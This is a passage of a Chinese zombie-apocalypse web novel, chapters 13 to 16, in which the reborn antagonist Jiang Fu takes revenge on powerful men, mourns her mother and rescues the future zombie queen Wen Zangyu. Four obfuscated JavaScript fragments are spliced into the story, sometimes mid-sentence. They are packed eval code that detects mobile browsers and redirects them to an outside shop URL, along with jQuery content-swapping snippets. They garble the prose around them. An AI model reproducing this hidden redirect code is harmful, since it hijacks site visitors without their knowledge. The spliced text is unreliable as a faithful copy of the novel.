她透过大面玻璃墙,看着对面的诊所,一个男人穿着深色的裤子,岔着腿,捂着肚子,鬼鬼祟祟地走进诊所。 这已经是半个小时以来的第三人了。 这些人不好意思去医院,就只能来私人诊所,而基地里靠谱且隐私性强的私人诊所也不算很多,江覆自然就精准蹲点到了。 就着那些男人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582661|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼狈姿态,江覆觉得杯中的咖啡更香醇了。 她承认,她就是这么恶趣味,就爱用这种“小家子气”的手段,去整那些妄自尊大的臭男人。 不是把他们弄病弱,不是把他们弄残废,不是把他们弄痴呆,而只是,让他们尝尝女人的烦恼。 这怎么不算一种仁慈呢。 黑猫跳到桌子上:“哇哦,心情很好嘛!” 江覆点点头:“是啊,总算看到点令人愉悦的事情了。”这大半个月也不算白折腾。 她瞅了瞅黑猫:“你怎么一天比一天肥了?”最初是只小奶猫,现在已经整个圆了三圈。 黑猫伸了个懒腰:“我啃的那口恶骨,里面蕴含的能量实在太多了,我已经努力消化了,就泄露出去一点点,还是让这具黑猫身体胖了起来。” 再胖下去,江覆的口袋都不让它钻了。 相比起来,江覆这个身负恶骨的人,体形却没有受到半点影响,既没有变胖,也没有变壮,只是骨骼肌肉脏器更为结实,然后能力越来越强了,它是很佩服的,这能量转化率太高了。 江覆的手机响了起来,她看了眼号码,毫不意外对方会这么迫不及待地打过来。 她用怨气撑起一个隔绝声音的屏障,接起来,那边声音立刻冲了过来:“李文博他们是你做的?” 听到这声音,江覆的耳朵喉咙都开始痒,这样对话还是有点吃不消。 她改变自己的音色,直截了当地说:“只是让他们每个月和女性一样,有那么几天,除此之外,没有其他副作用,不会影响生育功能,也不会影响性别特征。就是反应会普遍比女性重一点,量可能也会大一点,要是因此只能卧床养着,然后贫血血虚什么的,那也没办法。” 总的来说,女人什么样,这些男人以后每个月的那几天也会什么样,程度上大约会重两三成。 那头「江覆」一时有些不知道说什么,过了一会儿才问:“你,为什么要这么做?” 江覆没有回答这个问题:“现在中招的基本都是位高权重、占据重要资源、异能比较强、嘴巴比较毒、看着比较讨厌的男人,暂时也就这么多了,不至于影响整个基地,你对外找个说法吧,说他们染病了也好,说他们不检点也好。” 「江覆」在那头深深吸了口气:“你可真是丧心病狂!” 江覆不以为意:“你说这话时,把你那上扬的语调收一收。” 「江覆」直接笑出了声:“哈哈哈哈哈!我已经可以想象那些人确诊之后的表情了!你知道吗,他们和女人竞争,十个里面有八个会拿生理差异说事。 “什么身上有血腥味,出基地会给团队招来危险啦!什么女性在生理期,异能会受到影响不稳定啦!什么女人生理构造决定了战斗方面会有弱点啦!什么女人的本职还是生养孩子繁衍后代啦!好像他们长个几把多了不起似的,现在,哈哈哈!” 那边完全是一边拍大腿一边说:“你这法子虽然毒,但绝对直击痛点,你简直就是天才!” 江覆也勾起嘴角,她提醒道:“关注一下他们的心理健康,别悄摸着憋成个变态你都不知道。还有,接下来异兽异植将迎来爆发期,丧尸也要加速进化了,男性高阶异能者这边掉链子,你就要在别的地方补上。” 这是女性异能者、女性领导、女性人才补位的最佳机会。 如果「江覆」能把握住这个机会,接下来,覆安基地里,重要岗位上全女性的畅想将不再只是畅想。 她搅动着逐渐凉下去的咖啡,她曾经没有办到的事情,就让这里的「江覆」办到吧。 到那时,她不需要做什么都要顾虑到另一个性别群体的敏感神经,不需要提拔几个人、发放些福利都要考虑到男女均衡,不需要动不动就被迫妥协、让步,不需要时时刻刻提防着这个群体在她背后捅刀子。 自然,也就不会再出现张通那样不可饶恕的情况。 既然是一场游戏,当然是自己怎么舒服怎么来,搞个全女领导的基地,有何不可? 另一边,「江覆」安静下来,她有太多太多的问题想要问,但因为对方的强大神秘,因为对方对自己的善意,更因为那种她不想承认,但确实存在的仿佛同频一般的亲近感,她还是强行忍了下来。 她深吸一口气,扬起微笑:“姐,你就是我亲姐,我在其他基地也有一些看不惯的男人,你要不再送我几个礼物?” “咳咳咳!”江覆直接被这声姐呛到。 13.第 13 章 隔着电话传来的这声姐,不仅把江覆给呛到了,还让她的心脏抽动了一下。 不同于之前几次不适的抽动,这一次,她感受到的是一种奇异而又温暖的感觉。 她用意识问黑猫:“……这是怎么回事?” “什么啊?”黑猫凑过来感受了一下,恍然道,“我懂了,应该是因为这个「江覆」对你有了好感。她才是正文里真正的【江覆】,而你是多余的外来者,她对你有好感,另一种程度上就是承认了你的存在,或许能减轻这个世界对你的排斥。” 江覆挑眉,还能这么算? 黑猫用尾巴在桌面上扫了扫,自信地说:“一定是这样的,你虽然是个反派,但在正文里,你的实力、你的地位、你的荣光、你的气运,都是极强的,男女主都未必比得过你,所以【你】的承认是很值钱的。” 黑猫贱嗖嗖地说:“怎么样,感动吗?” 江覆淡淡道:“得到我自己的好感,是什么很了不起的事吗?” 话虽这么说,但她的心情越发好了起来。 因为这份好心情,她声音里也染了几分轻快:“其他基地的男人啊,我本也有这打算,毕竟如果只有覆安基地的男人出事,别人还以为这里风水不好呢。” 那头「江覆」也笑道:“是吧是吧,我也是这么想的,要不要我给你个名单?” 江覆刚要说话,咖啡店的门被推开,一个梳着双辫子头的女生拎着一篮子花走了进来,笑盈盈地和店长打招呼。 那是一个很漂亮很明媚的女生,但江覆看到对方,脸上的微笑却一点点落下。 黑猫顺着她的目光看去:“怎么,又是哪个仇人?你仇人还真多?” 江覆冷淡地看着那女生和店长说了什么,然后放下花,拎着一袋子东西离开。 店长的声音透过隔音罩隐约传进来:“那女孩经营着一个小花圃,每天用鲜花来换咖啡渣,说咖啡渣种花特别好。” 某客人:“真是个亮堂大方的姑娘。” “是吧,人特别好,收养了很多小动物,是个很有爱心的人。” 江覆的思绪却飘远,回到她刚被铸成铜像的时候。 那时候,人们对她的恨意滔天,每天都有人把各种污秽倒在铜像上,几乎每个人路过铜像前都要吐口痰,以示自己的不屑。 那都是覆安基地的人,其中有一些还是熟面孔,甚至是信誓旦旦说要永远追随她的人。 她冷漠地看着他们狰狞丑陋的嘴脸,告诉自己不要在意,但她其实真的很难接受。 她就是为了这些人,放弃了自爆的机会,用付出自己的晶核为条件,换取基地和平易主的可能。 她每时每刻都自虐般地问自己:值得吗? 如果当时她真的自爆了,起码能带走一半伏击的人为自己报仇,最重要的是,不留下尸身就不需要这样受辱。 在做决定的那一刻,她就已经放弃了死后的尊严,这几乎是一个高阶异能者所能付出的最大代价。 所以,实在意难平。 刚才那个送花的女生是少有的一丝慰藉。 她每天晚上都来,送上一支鲜花,然后悄悄给她的铜像擦脏污。 她低低地说:“是因为您,我才有了安稳的生活,我一直记着您的好,可那些人太多了,我人微言轻,不敢为您说话,对不起,对不起。” 女生起先每晚都来,后来几天来一次,再后来一个月才来一次,她送的花也从沾着露水的鲜花,变成了蔫吧的花,然后成了干花。 后来,她就不来了,花也彻底没了。 再一次见到她,是在一个白天,她和她的同伴一起来,一起对她的铜像又踢又踹又骂,扔各种垃圾秽物。 起先她的眼里还会有愧疚不安,但很快就彻底放开了,打得甚至比她的同伴还起劲。 于是那份慰藉就变成馊了的蛋糕,堵在喉头,恶心得厉害。 这样的人不是一个两个,而是很多很多,他们口中说着感谢江覆,记着江覆的好,但她们又说自己太弱小,无能为力。 更多时候,他们隐在人群中,和身边的人一起对铜像吐口水、泼污水,喊打喊杀。 江覆有时候怀疑,他们偷偷来说的感谢,到底是真的感谢她,还是通过这个行为来减轻自己的负罪感,从而让自己好受些? 仿佛只要说了这些话,他们就不再欠她的了,就恩怨两清了,就可以心安理得地加入唾弃她的大军了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590929|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她宁愿全世界都无脑仇恨她,也不愿意看到这样的感谢,这仿佛在告诉她:看,你不是没有得到过真心,只是这些真心,也不过如此。 江覆转头看向窗外的天空,眼眶干涩。 黑猫有些惊吓:“你……哭了吗?” 江覆:“没有。”空荡荡的眼眶里没有一丝热意,她没有泪,她只是觉得,不值得。 为这些人付出过的自己不值得,报复他们消耗的力气也不值得,爱不值得,恨不值得,活着不值得,死去更不值得。 这一切的一切,都好肮脏且廉价,都如此虚伪又善变,为这些再投注任何心力和眼神都不值得,可让她放下又实在不甘心。 她要疯了。 她早疯了。 被这世上所有人一起逼疯了! 江覆闭了下眼,再睁开,眼中只余一片猩红的平静,平静地看着那个女生离去的背影。 我确实被困住了,既然我不得解脱,你们又凭什么过上好日子? 她低下头,这发现手机不知何时被她捏碎了,通话早已结束。 她也没了再弄个手机打过去的兴致,她怕自己会控制不住,把这里的自己一起拖入扭曲的深渊。 “走吧。” 黑猫小心问:“去哪里?” “再去看母亲一眼,然后,离开特云,去找个老朋友。” …… 「江覆」焦急地看着手机,为什么突然挂断了? 发生什么事了? 在挂断前,她感受到了从那头传递过来的,恐怖而极端的情绪。 像在冰冷的深海中被反复溺毙后又一次次短暂活过来的人,死,死不透,活,活不了,在黑暗的、冰冷的、压迫的、密闭的深渊里,看不到一丝解脱的希望。 那是一种极致的痛苦与疯狂。 那一刻,她甚至感同身受地觉得窒息和痛苦。 她蹭地站了起来,不行,她得找到对方。 她好像听到了什么咖啡渣、花圃之类的对话声,所以是附近有花圃的咖啡店! 脑海内迅速把中心城区地图过了一遍,强大的精神力快速审阅繁杂的数据,很快就锁定到了地方。 她立刻冲了出去。 14.第 14 章 公墓里,江覆坐在一座簇新的墓前,准确地说,这其实只是一座衣冠冢。 “母亲,我知道,你被她转移到了一个非常安全的地方,我就不再去那里看你了,就在这里,和你说说话。” 她放上一瓶玫瑰汾酒:“我要走了,我心中有很多恨,再留下去,我怕我会把这些恨全部发泄在基地里。虽然我最恨这里的人,但这里毕竟是你留给我的,还是另一个我的根基,一旦覆安基地垮了,其他人只会拍手称快,那也不是我愿意看到的。” 所以我只能走了,先去祸害其他地方的人。 她伸手抚摸墓碑上母亲的照片,心中有千言万语,又不知该如何说起。 她站起身:“母亲,你等我,我去给你找复生的办法,如果找不到,等我做完该做的事情,就回来陪你。” 她目光扫过周围的墓,这些都是十多年来跟着母亲的长辈们,他们为特云而死,为基地而死,为母亲而死,母亲便把他们安排在一起,然后在这里,给自己留了一个位置。 每一座墓都被打扫得干干净净,摆满了各种鲜花、果品、烟酒、糖点,还有各种基地繁荣强大的照片。 他们没有被人忘记,他们在这里得享安稳,受到后人的追思怀念。 谁会知道,八年之后,这些墓会被完全破坏、推平,这些人的存在与经历,因为和母亲扯不开关系,也几乎被完全抹除。 这一切,就像一本荒诞的烂尾小说。 江覆后退两步,深深鞠躬:“是江覆无能,让各位长辈跟着受罪了。” 她起身离开,经过下方台阶的时候,看到角落里有一座新墓,那是陈印玉的墓。 她只淡淡扫了一眼,没有多看,忽然,她察觉到了什么,立刻藏住身形。 下一刻,一道人影出现在墓地中,是「江覆」。 「江覆」喘着气,好像赶了很远的路,头发都有点乱了。 事实也如此,她跑去了咖啡店,确认那里确实刚离开一个带着黑猫的女人,但附近根本找不到人,她又去那花圃找人。 她有种预感,对方要离开了,而她一定会和母亲道别,于是她还去母亲此时所在的那个地方看了看,也没有,最后才想到墓地。 来到母亲的墓前,看到那瓶显然刚放下的,一点灰尘都没沾上的玫瑰汾酒。 母亲爱喝酒,各种酒都喜欢,但很少人知道,她最喜欢的是各种带着花香的酒。 这款玫瑰汾酒将鲜玫瑰花放入汾酒缸中浸泡数月,蒸馏出来的酒玫瑰香味绵长浓郁,是母亲离世前那段时间的新宠。 而知道这一点的人绝对不多。 所以,那人来过,可能刚刚离开,甚至还在附近。 此时此刻,她不想去深究那人为什么能知道那么多外人不该知道的事情,她只担心对方那极端而危险的状态。 她在母亲墓前坐下,开始诉说:“母亲,我是来给你报喜的,经过这段时间忙碌,我这个新基地长的位置算是坐稳了,其中,那位神秘姐姐给了我很大的帮助。 “这段时间,很多人跳出来跟我作对,我其实并不意外,我记得九岁那年,世界就进入大灾期,十年间,连绵不断的各种天灾逐一上演,之后又是末世,我见识过的、经历过的黑暗面太多太多了,人性的恶,有时候真的会让人对这个世界感到绝望。 “但我始终坚信,这个世上还有很多美好,很多好人,还有很多很多,值得我去付出和守护的东西,那个姐姐好像遇到了很大的坎,我不知道她是谁,也不知道她经历过什么,但我能感受到她内心的痛苦。 “我其实想告诉她,这个世界不只有坏的恶的一面,她可以多看看美好的事物,有仇就报仇,报完了就放下仇恨,也放过自己。当然,如果有需要我的地方,我很乐意帮忙。” 江覆在远处听着这些话,即便这些声音让她渐渐感到耳鸣和吃力,但她还是安静听着。 她知道,这些话完全就是「江覆」说给自己听的,她知道自己还没走远,她在用这种方式安慰自己,劝解自己。 江覆微微扯了下嘴角,她怎么不知道,曾经的自己还是这么一个体贴的热心肠? 她透过苍翠的小柏树,看向坐在母亲墓前的人,仿佛透过漫长而残酷的时光洪流,看向命运起点的那个自己。 对方还不知道未来会发生什么,对这个世界依然充满希望和热忱。 真蠢啊。 但也……真好啊。 她低声道:“你说得对,希望你永远能这么想。” 这世上有忘恩负义的张通,有冷眼旁观的梁谢,有无数像送花女孩那样装模作样的人。 但也有拼了命也想救下她的头颅,为她保留最后一丝尊严的韩晓飞,有为了她战到最后一刻的江时月,有许许多多迎上屠刀,也要为她发声、为她奔走的人。 她至今还记得,她的头颅被悬挂起来之后,张通简直是围点打援,韩晓飞那支小队不是第一个来抢的,也不是最后一个来抢的,很多很多人,用着各自的办法一次次尝试,只不过他们都失败了。 她的铜像铸成前后,也有很多人在得知消息后极力反对,只不过他们不是被杀了,就是被赶出了基地。 母亲的事迹当时都已经被写进课本了,那些人要毁掉课本、要把图书馆里的各种相关书籍全部焚毁,要把基地里母亲的雕像推倒,也是有无数人出来强烈抗议的。 是的,这个世上还是有很多美好的。 可那已经不属于她了。 现在的她,看到一片白布都会觉得背后一定藏污纳垢肮脏不堪。她看到再纯真无害的笑容,都觉得这个人心里一定转着恶毒丑陋的念头。她看到再亲密忠诚的关系,都会幻视他们互捅刀子互相背叛的结局。 她无法再去欣赏那些美好,相信那些美好,回应那些美好。 命运曾赋予了她保护和信任美好的能力,却又将她的信念摧毁彻底。她已经无法回头了。 她最后看了「江覆」一眼,再次说:“希望你能永远这么想。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594154|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江覆还是走了,不过,离开覆安基地前,她给「江覆」发了短信,一是告诉她自己走了,二是让她保护好母亲的遗体。 第三,则是让她小心梁谢。 【梁谢此人,若你无绝对压制她的力量,就要提防她反噬,你用特管局试出了她的号召力,但也给了她重新将人心凝聚起来的机会,务必防范。】 「江覆」收到短信的时候,不经感叹,这个人真的很懂自己,一眼看出了她让梁谢出山组建特管局的真正目的。 是的,特管局是「江覆」对梁谢的一次试探,试探结果也很清楚:曾经跟随梁谢的老臣,纷纷冒出了头,梁谢想要做什么,处处都有人给她开绿灯,特管局能顺利且快速建立,梁谢的号召力起码占了一半功劳。 她给江覆回:【梁谢一系与我有旧怨,我知道她的危险性,但既然异兽丧尸巨变在眼前,我不愿在此时与之起冲突,她及她背后的力量若能用起来,是极好用的。】 江覆收到回信,陷入了沉默。 曾经她也很提防梁谢,不过那时没有成立特事局的事,她是直接跟梁谢开诚布公,说出自己对她的防备,说自己不希望和她走到不得不斗两败俱伤的地步。 很快,梁谢就自己离开了覆安基地,带走了拥护她的人,覆安基地领导层霎时空了起码五分之一,就连基地军都走了一万多人。 覆安基地元气大伤。 也正因此,后来异兽异植和丧尸能力陡然变强,基地方面应对颇为吃力。 与此同时,特云州各大小基地城市闹独立,她没有余力辖制他们,特云就此分裂,她这个州长头衔就此去掉,从此只是覆安基地的基地长。 而如今,覆安基地本就因为男性高层领导、男性战斗精锐“得怪病”而即将经历动荡,确实不是和梁谢撕破脸皮的时候。 要知道,一个七阶异能者的能耐和作用,在这个时期是很可观的,更不要说梁谢身上还有个特云元老的光环。论资历,母亲之下,也就是她了。 她回了个:你有数就好,保重。 然后收起手机,经过出基地的审核,来到了基地外面。 她找了辆要离开的改装大巴车,付了车费,找了个靠窗的位置。 她来时两手空空,离开时倒是背了个包,包里就是那只肥了三圈的黑猫。 黑猫从包里钻出来:“你到底要去找哪个老朋友?男女主?” “此时,男女主应该还在东南经营某基地吧?我记得,下半年,东南众基地失守,他们才被迫迁徙来西北。所以,接下来他们都会挺狼狈的。” 被尸潮轰开了基地大门,整个基地分崩离析,作为基地掌权人,如同丧家之犬一般到处逃亡。 这么有意思的经历,她就不去改变了。 她看向窗外:“我说的这个老朋友,当然是我的宿敌。” 黑猫想了一会儿,吸了口气:“丧尸王?” 江覆勾了勾嘴角:“此时她还不是丧尸王呢,算算时间,应该成为丧尸还不久。” 15.第 15 章 正午,毒辣的阳光明晃晃地照在大地上,街道上死寂而凌乱,还保留着很早之前,幸存者匆忙撤退的痕迹。 一只红色的垃圾袋被风吹起,经过街尾的时候,仿佛碰到了什么看不见的细线,呲的一声被切割成两半,边缘焦黑卷曲着缓缓落地。 边上破旧的房屋里,一群人埋伏在里面,因为闷热和紧张,每个人的呼吸都很粗重,汗水跟不要钱似的滚滚涌出。 一人压低声音说:“二哥,那家伙真的会出现吗?” 那个被叫做二哥的男人哑声道:“我们不是已经观察好几天了吗?那家伙还维持着生前的习惯,每天中午都会经过这条街。” 说着他暗淬了一声:“死丫头,死了也不让人省心,都变成丧尸了还追着我们不放,今天就把她彻底弄死在这里!” 说话间,街角传来怪异的脚步声,像是一条腿拖在地上,不大便利的行走声,鞋底摩擦在地上,沙沙地响。 “来了!准备好!” 埋伏的人立刻打起十二万分的精神,死死盯着街角,被地上那些碎玻璃反射的阳光刺得眼睛生疼都不敢眨眼。 终于,一个身影出现在阳光下,她穿着一身沾满干涸血污的衣服,头发乱糟糟的,脖子微微歪向一侧,皮肤青白,眼珠只剩一小点眼黑。 她的左臂应该是骨折了,蜷曲在体侧,她的右脚也受伤了,无力地拖在地上,鞋底几乎被磨没了。 很显然,这是一个丧尸! 比起一般的普通丧尸,她的模样体面得多,皮肤没有腐烂,体形没有走样,也不会大张着嘴巴流涎水,甚至那张脸依然可以称得上漂亮。 如果不看她的眼睛和过于僵硬的姿态,可能只会以为这是一个普通的残疾人。 然而随着这丧尸的出现,潜伏的人呼吸都是一紧,浑身不由自主地紧绷起来,好像看到了一个什么可怕的存在。 “真的是她!” “她来了!” “都安静!”二哥低声呵斥,“慌什么!想把她引过来吗!” 他也死死盯着那丧尸越走越近,兴奋又紧张地说:“那陷阱可是那位高手布置的,这次她一定会哗一下……身首异处!” 大家听着这话,也重拾信心,期待地看着那丧尸。 一步,两步,三步…… 她终于走到那塑料袋被割开的地方,所有人都屏住了呼吸,只需再走两步,就两步…… 然而,丧尸却停了下来。 似乎是察觉到了什么,微微歪斜的脑袋侧转回来一些,笔珠一般的黑眼珠盯着面前,僵硬的鼻翼翕动了两下。 然后,她像是确定了什么,喉咙里发出一声嘶哑的怒吼,没有受伤的右手猛地抬起,从指尖释放出一道掺杂了好几种颜色的光芒,自下而上斩过了身前的区域。 哗—— 前方几道鱼线一般的银丝顿时显出痕迹,在空中颤巍巍地抖动,每一条上都闪烁着无比危险的冷光。 丧尸看着这些银线,伸手抓去,她的右手突然变成石块一般质地,直接抓住这些银线,生生扯断。 两旁屋子里,二哥咒骂一声:“草!被她发现了!上!” 一时间,两旁埋伏者都冲了出来,手里发出各种光芒的异能,朝着丧尸招呼而去,还有几个手上端着枪,对着丧尸哗哗扫射。 随着这些人出现,丧尸变得更为暴躁,张开嘴,更为凶狠地吼叫起来,无形的声浪从她口中发出,形成一圈屏障,将这些异能和子弹统统挡在了外面。 与此同时,她右臂挥舞,一道道彩色光芒朝埋伏者们攻来。 砰砰砰! 一时间,异能与异能对撞,有人倒飞而出,周围的房屋被波及到,门窗外墙哗啦啦地坍塌下来。 二哥用异能凝聚成一面金属盾牌,挡住了这一波攻击,他怒吼道:“继续攻击,不要停!” 无数异能、子弹再次朝丧尸倾泻过去,甚至有人朝丧尸投掷燃烧d和手榴弹。 丧尸愤怒地应对着,她想冲过去撕碎这些人,但总有攻击让她行动受限。 显然,这些人在用不停歇的攻击把她困在原地。 几个回合下来,丧尸似乎也意识到了这一点,也或许是察觉到了危机,她立刻就要离开原地,然而,这一动才发现,她的双脚不能动了。 她低头一看,一条条银线不知何时从地底爬出来,缠住了她的脚背、脚踝,正朝小腿爬上来。 “吼——” 她立刻挣扎起来,但那些银线无比坚韧,根本挣不断,反而因为她的挣扎而越勒越紧,深深切入她的皮肤里。 二哥大喜:“陷阱生效了!她被困住了!快,一起上弄死她!” 说话间,这二哥的双手陡然变成了两只发射器一般的东西,他高高跳了起来,发射器对着丧尸,从里面嗖嗖飞射出一枚枚尖锐的利刺。 眼看那金属就要射中丧尸的脑袋,一个身影突然不知从哪里冒出来,把二哥飞在空中的身体狠狠一撞。 咚! 二哥摔倒在地,那些利刺顿时失去准头,擦着丧尸的身体钉入地面。 二哥在地上滚了一圈唰地爬起:“谁!是谁撞我!” 他还没完全站起来,又被一个坚硬冰冷的身体撞倒,他看着压在自己身上的家伙。 也是青灰色的丧尸脸,收缩细小的瞳孔,杂草一般的黑发盖住脸庞,但依稀能看出俊秀而熟悉的影子。 “温和玉!又是你坏老子好事!” 他双手抵住对方,但这只丧尸的指甲陡然变长,眼看着就要刺进他的脸,冰冷的触感甚至已经抵达脸皮。 这要是被抓一下,他分分钟要变成下一只丧尸! 极致的危险让他汗毛倒竖,他那发射器形状的双手猛地轰出两发炮弹,巨大的冲击力直接将身上这个少年丧尸轰上三四米高,然后又重重摔下来。 二哥连忙爬起来,喘息着连连抚摸自己的脸,确定没有被抓破皮,他后怕不已,继而是无边的愤怒。 他双手变成了一柄金属长枪,冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599723|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去一把挑起了这个丧尸,转头对那女丧尸道:“温藏玉!你看这是什么!你弟弟在我手里,还不束手就擒!” 被围攻的丧尸扭头看过来,看着被挑在长枪上,如同破布娃娃一般在空中晃来晃去的少年,本就窄小的瞳孔越发收缩。 她喉咙里发出焦急而愤怒的咆哮声,想要冲过来,但双脚被死死钉在地上,这一分神,好几拨异能打在身上,一颗颗子弹击中她的身体。 她干瘦的身体,几乎要被打穿撕裂了一般,狼狈地倒了下去。 那二哥得意地大笑起来:“哈哈哈,你总算落在我手里了!把她头砍下来,我倒要看看,她没了爪子,没了身体,还能怎么嚣张!” 他说着,长枪猛地一抖,长枪上的丧尸被震上了天,下一刻,长枪变成了无数刀片,就那么矗立着,等丧尸掉下来,直接就是碎尸数段的下场。 他畅快地看着这一幕,这一对阴魂不散要找他复仇的丧尸姐弟,今日终于解决了! 然而,下一刻,一道黑雾从远处飞射而来,将从空中坠落下来的丧尸托住,就这么停滞在空中。 二哥脸上笑容一僵,怎么回事? 他朝黑雾来的方向看去,还没等看清什么,第二道黑雾已经冲着他撞来,他哗的一下被直直拍飞,后背撞上楼房,一路撞碎了一排外墙,重重砸进地里。 这一变故叫所有人骇然,他们下意识停下手,朝发来攻击的方向看去。 一道黑烟腾腾的身影从远处迅速掠来,落在高楼楼顶上。 她的身形高挑,一身长风衣猎猎飞扬,身上不断翻腾着黑色的雾气,那一头长发就像被黑雾托着一样,漂浮在空中,整个人看起来魔幻又危险。 她分明应当是属于黑暗的,但就这么暴露在灼灼烈日之下,却半点没有被压下去。 反而那逆光而站的姿态,仿佛这满天金灿灿的阳光是为她加冕的披风,整个世界,都匍匐在她脚下。 她微微低头,就这么看着众人,人们看不清她的脸,却生出一种被魔鬼审视的战栗感,忍不住想跪倒下去,完全生不出丝毫抵抗的念头。 她开口了,声色冷然,像大夏天兜头淋下一桶锋利的坚冰。 “你刚才说,要砍谁的头?” 江覆表示,被砍过头的人,实在听不得这种话。 她抬起手,满地碎玻璃、金属片、碎石块立刻受到号召一般,颤抖起来,然后唰地一下漂浮到离地两米的高度。 她将手一推,这些碎片瞬间转向,轰然刺向那摔在地上的二哥的四肢! “啊啊啊啊!!!!” 二哥发出凄厉至极的惨叫,手脚被扎成四条再也拼不起来的肉沫。 江覆听着这惨叫,心里才算舒坦一些。 然后,她将目光转向那狼狈地倒在地上的女性丧尸,微微勾起嘴角,低声道:“丧尸王,温藏玉,终于找到你了。” 不过,她又看向那被她用怨气托在空中的,半死不活的丧尸少年,没听说温藏玉还有个弟弟啊。 16.第 16 章 丧尸王温藏玉是一个颇具传奇性的存在。 她在末世第五年才成为丧尸,这时候已经有很多高阶丧尸,小丧尸想脱颖而出非常困难,有人猜测,她应该是成为丧尸不久正好赶上丧尸大进化,于是如同坐了火箭一般蹭蹭变强。 而且,她是唯一一个五行异能具备的丧尸,当然,这是大众的猜测,和她交手过数次的江覆知道,这家伙同时还拥有一些奇奇怪怪的小类别异能,除此之外,她还有精神力异能,并且精神力的方向是精神震慑和幻觉营造。 反正就是强得没边了。 江覆都搞不懂,她身体里为什么能装得下这么多不同种类的异能还没有爆体。 反正她就是天赋极高,本身意志力又极其坚定,赶上了大进化的好时候,又不断吞噬其他丧尸,因此成长得飞快。 据说在末世第六年,她就恢复了生前的智力和思维,之后又陆续恢复了语言功能。 到了末世第八年,她就已经能伪装成大活人,潜入到人群聚集地里生活了。 要实力,她够强,要智慧,她够狡猾。 要说她的弱点,有两个,其一,她是一个独行侠。 一般高阶丧尸对低阶丧尸天然拥有控制能力,但她并不会去控制尸群,可能是在变成丧尸前,她就是一个每天杀丧尸的异能者,她对丧尸没有归属感。 但同时,她对人类又怀有极大敌意,用研究她的人的话来说,就是她见不得人类过上好日子,她潜入人群中,总是会用各种办法挑起人们的内斗。 她乐于见到一个个联盟瓦解,一个个庇护所、基地陷入混乱,尤其是为了资源反目成仇的戏码,是她的最爱。 于是,有人猜测,她生前应该是遭到了巨大的背叛,才变得如此扭曲。 而她的另一个弱点,或许就与此有关,那就是,有时候她的情绪会变得很不稳定,不知道触到哪个开关,整个丧尸就疯了,进入一种狂暴状态。 按理说,此时她是最好对付的,但偏偏,这个时候她的战斗力也会节节攀升。 没了理智,但武德充沛,杀伤力直线爆表。 总而言之,这是一个非常难对付的家伙,许许多多人设过陷阱、用上过人海战术、也投入过大量的科技武器,乃至于设计出了专门针对她的生化攻击,甚至把她引诱到某处,然后引爆足以把整个城市炸毁的炸药,但都没能杀掉她,而每一次的失败,都会招致她的疯狂报复。 直到江覆和她对上。 江覆此时看着这个身体被打得破破烂烂,披头散发的丧尸,想起曾经她令自己感到无比棘手的模样,不免唏嘘,又有点牙痒痒的。 从末世第八年这家伙兴风作浪开始,倒是一直没找覆安基地的麻烦,直到第十一年,其他基地扛不住了,祸水东引,把她引来了覆安基地。 江覆久闻其大名,哪里敢让她进基地,亲自出来迎战。 然后打了个平手。 大约自己是第一个,不利用人海战术,不利用武器辅助,能够和她单打独斗打成平手的人,这家伙从此就盯上了自己,之后三年里,没少上门找茬。 以至于到后来,世人普遍把丧尸王和江覆扯上关联,仿佛杀丧尸王是她一个人的事一样。 虽然江覆也不是没得到好处,那就是在这强大的压力之下,硬生生晋阶成了十阶异能者。 她蹲在温藏玉身边,感叹道:“要不是那会儿你逼得太紧,我成了十阶之后,要是能有足够的时间好好消化感悟,那些人怎么弄得死我?” 十阶和九阶,那就是天堑之别,但凡给她一两年时间巩固实力,再来几茬主角团都是送菜。 可惜,她刚入十阶不久,就被温藏玉找上门来,最后温藏玉死在她手中,而她自己身受重伤,被人趁火打劫,也不过多活了几个小时而已。 说起来,两人是同年同月同日死。 江覆嘴角抽了抽,现在回想起来,那时候温藏玉自毁倾向已经很重了,她后来越发频繁地上门挑衅,仿佛就是为了死在自己手里。 